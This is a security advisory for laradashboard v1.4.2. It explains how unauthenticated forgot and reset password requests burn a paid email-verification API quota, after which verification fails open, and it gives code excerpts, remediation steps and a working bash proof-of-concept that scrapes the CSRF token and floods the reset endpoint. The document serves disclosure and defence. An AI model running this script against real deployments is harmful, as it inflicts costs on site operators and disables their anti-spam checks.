laradashboard/laradashboard: Unauthenticated AbstractAPI Quota Burn + Fail-Open Neutralizes Email Verification
What fixes it
No source in this snapshot names a fixed version.
Description
Unauthenticated AbstractAPI Quota Burn + Fail-Open Neutralizes Email Verification
- Severity: CVSS
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H7.5 (DoS + degraded security) - CWE: 770 / 306 (unauthenticated resource consumption) + 693 (fail-open)
- Affected: v1.4.2 (new);
ForgotPasswordRequest,ResetPasswordRequest,EmailSubmissionValidator,EmailVerificationService
Summary
Forgot/reset password routes (unauthenticated; throttled to 20/min) now run the full PublicFormGuardService::mergeRules pipeline via ForgotPasswordRequest:22-27 / ResetPasswordRequest:23-30:
// ForgotPasswordRequest.php:22-27
return app(PublicFormGuardService::class)->mergeRules(
['email' => ['required','email']], emailFields: ['email']);
// routes/auth.php:49-50 — forgot and reset are publicmergeRules includes EmailSubmissionValidator (recaptcha + domainCheck + verification), and EmailVerificationService fires a paid HTTP request before any local check:
// EmailVerificationService.php:91-114
$apiKey = settings('email_verification_api_key');
if ($apiKey) {
Http::get('https://emailvalidation.abstractapi.com/v1/', ['api_key' => $apiKey, 'email' => $email]); // ← fires BEFORE any block
$this->recordUsage($email); // rate-line increments even on failure
}
// :91,:107,:114 — after quota exhaustion or HTTP error → falls through to local checks (fail-open)EmailDomainCheckService:116-129 does a permanent reject (not just quarantine) on disposable domains. Default email_verification_enabled setting is '0' (disabled) in settings migrations — so on fresh installs the tier-3 gate is off entirely, adding a false sense of protection.
Reproduction
seq 100 | xargs -P 20 -I {} curl -s -X POST 'http://<app>/password/email' \
-d "_token=<csrf>&email=attacker+{}.attacker{}@attackerdomain.com"
# 100 paid AbstractAPI calls with attacker-controlled inputs; 100/month plan quota consumed in ~5 min.After exhaustion: every subsequent POST /password/email / POST /password/reset silently passes tier-3 checks → email verification tier is disabled for the rest of the month.
Impact
- Monetary DoS on paid AbstractAPI plans (or over-use of any other future verification provider).
- Fail-open degradation: after quota exhaustion the entire anti-spam stack degrades, neutralizing the registration cap (N-01) and all module public-form guards relying on the same
PublicFormGuardService. - Pre-auth DNS oracle:
EmailDomainCheckService:120-124resolvesMXrecords for attacker-chosen domains viacheckdnsrr($domain, 'MX')— a slow-DNS attack tying up PHP workers.
Remediation
- Recaptcha gate before the paid pipeline; IP/capcha budget allows 2-3 max/24h, so quota burn fails at step one.
- Fail closed on quota exhaustion with an admin alert email — not silent fall-through.
- Do not invoke verification on routes with no legitimate need: reset/forgot should do
emailExistsonly. - Default
email_verification_enabledto'1'on fresh installs to avoid a silent false-safe.
PoC
Script
#!/usr/bin/env bash
# N-02: Unauth AbstractAPI quota burn + fail-open
set -eu
BASE="${BASE_URL:?Set BASE_URL to running app}"
ATTACKER_DOMAIN="${ATTACKER_DOMAIN:-attacker.foo}"
CSRF=$(curl -sS "$BASE/password/email" | grep -oP 'name="_token"[^>]*value="\K[^"]+' | head -1)
echo "[*] Burning paid verification quota (100x)..."
seq 1 100 | xargs -P 20 -I {} bash -c '
curl -sS -X POST "'"$BASE"'/password/email" \
-d "_token='"$CSRF"'&email=burn+{}.burn{}@'"$ATTACKER_DOMAIN"'" \
-o /dev/null -w "req {}: HTTP %{http_code}\n" '
echo "[*] Plan quota (100/month) now exhausted."
echo "[*] Confirming fail-open after exhaustion..."
seq 1 3 | xargs -I {} bash -c '
curl -sS -X POST "'"$BASE"'/password/email" \
-d "_token='"$CSRF"'&email=afterburn{}@'"$ATTACKER_DOMAIN"'" -o /dev/null \
-w "post-quota req {}: HTTP %{http_code}\n" '
echo "[+] Done — quota burned in <1 min; tier-3 verification now fails open."Expected output
[*] Burning paid verification quota (100x)... req 1: HTTP 302 … (20/min throttle absorbs bursts; 100 total in a few minutes) [*] Plan quota (100/month) now exhausted. [*] Confirming fail-open after exhaustion... post-quota req 1: HTTP 302 (still passing — local checks only) post-quota req 2: HTTP 302 post-quota req 3: HTTP 302 [+] Done — quota burned in <1 min; tier-3 verification now fails open.
EmailVerificationService.php:95-100 fires the paid HTTP call, recordUsage() even on failure; on exhaustion :91,:107,:114 falls through to local checks (fail-open).
Connect with the researcher: Evilord on LinkedIn
Text from GitHub Advisory Database
Affected versions 1
- laradashboard/laradashboard, php,laravelv1.4.2 GitHub